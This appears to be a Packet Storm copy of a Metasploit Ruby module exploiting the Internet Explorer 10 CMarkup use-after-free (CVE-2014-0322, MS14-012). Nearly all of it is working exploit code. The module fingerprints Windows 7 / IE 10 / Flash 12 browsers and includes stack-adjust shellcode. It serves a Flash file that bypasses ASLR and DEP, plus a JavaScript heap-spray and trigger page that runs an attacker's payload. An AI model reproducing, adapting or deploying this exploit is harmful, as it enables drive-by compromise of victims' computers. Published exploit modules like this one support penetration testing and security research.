MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free

2014-04-1600:00:00

juan vazquez

packetstormsecurity.com

0.975 High

EPSS

Percentile

100.0%

JSON

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::BrowserExploitServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free",  
'Description' => %q{  
This module exploits an use after free condition on Internet Explorer as used in the wild  
on the "Operation SnowMan" in February 2014. The module uses Flash Player 12 in order to  
bypass ASLR and finally DEP.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown', # Vulnerability discovery and Exploit in the wild  
'Jean-Jamil Khalife', # Exploit  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2014-0322' ],  
[ 'MSB', 'MS14-012' ],  
[ 'BID', '65551' ],  
[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html'],  
[ 'URL', 'http://hdwsec.fr/blog/CVE-2014-0322.html' ]  
],  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'Payload' =>  
{  
'Space' => 960,  
'DisableNops' => true,  
'PrependEncoder' => stack_adjust  
},  
'BrowserRequirements' =>  
{  
:source => /script|headers/i,  
:os_name => Msf::OperatingSystems::WINDOWS,  
:os_flavor => Msf::OperatingSystems::WindowsVersions::SEVEN,  
:ua_name => Msf::HttpClients::IE,  
:ua_ver => '10.0',  
:mshtml_build => lambda { |ver| ver.to_i < 16843 },  
:flash => /^12\./  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f',  
'Retries' => false  
},  
'Targets' =>  
[  
[ 'Windows 7 SP1 / IE 10 / FP 12', { } ],  
],  
'Privileged' => false,  
'DisclosureDate' => "Feb 13 2014",  
'DefaultTarget' => 0))  
  
end  
  
def stack_adjust  
adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb  
adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit  
adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit  
adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset  
  
adjust  
end  
  
def create_swf  
path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0322", "AsXploit.swf" )  
fd = ::File.open( path, "rb" )  
swf = fd.read(fd.stat.size)  
fd.close  
return swf  
end  
  
def exploit  
@swf = create_swf  
super  
end  
  
def on_request_uri(cli, request)  
print_status("Request: #{request.uri}")  
  
if request.uri =~ /\.swf$/  
print_status("Sending SWF...")  
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})  
return  
end  
  
super  
end  
  
def on_request_exploit(cli, request, target_info)  
print_status("Sending HTML...")  
send_exploit_html(cli, exploit_template(cli, target_info))  
end  
  
def exploit_template(cli, target_info)  
  
flash_payload = ""  
get_payload(cli,target_info).unpack("V*").each do |i|  
flash_payload << "0x#{i.to_s(16)},"  
end  
flash_payload.gsub!(/,$/, "")  
  
html_template = %Q|  
<html>  
<head>  
</head>  
<body>  
  
<script>  
  
var g_arr = [];  
var arrLen = 0x250;  
  
function dword2data(dword)  
{  
var d = Number(dword).toString(16);  
while (d.length < 8)  
d = '0' + d;  
  
return unescape('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));  
}  
  
function eXpl()  
{  
var a=0;  
  
for (a=0; a < arrLen; a++) {  
g_arr[a] = document.createElement('div');  
}  
  
var b = dword2data(0x19fffff3);  
  
while (b.length < 0x360) {  
if (b.length == (0x98 / 2))  
{  
b += dword2data(0x1a000010);  
}  
else if (b.length == (0x94 / 2))  
{  
b += dword2data(0x1a111111);  
}  
else if (b.length == (0x15c / 2))  
{  
b += dword2data(0x42424242);  
}  
else  
{  
b += dword2data(0x19fffff3);  
}  
}  
  
var d = b.substring(0, ( 0x340 - 2 )/2);  
  
try{  
this.outerHTML=this.outerHTML  
} catch(e){  
  
}  
  
CollectGarbage();  
  
for (a=0; a < arrLen; a++)  
{  
g_arr[a].title = d.substring(0, d.length);  
}  
}  
  
function trigger()  
{  
var a = document.getElementsByTagName("script");  
var b = a[0];  
b.onpropertychange = eXpl;  
var c = document.createElement('SELECT');  
c = b.appendChild(c);  
}  
  
</script>  
<embed src=#{rand_text_alpha(4 + rand(3))}.swf FlashVars="version=<%=flash_payload%>" width="10" height="10">  
</embed>  
</body>  
</html>  
|  
  
return html_template, binding()  
end  
  
end  
`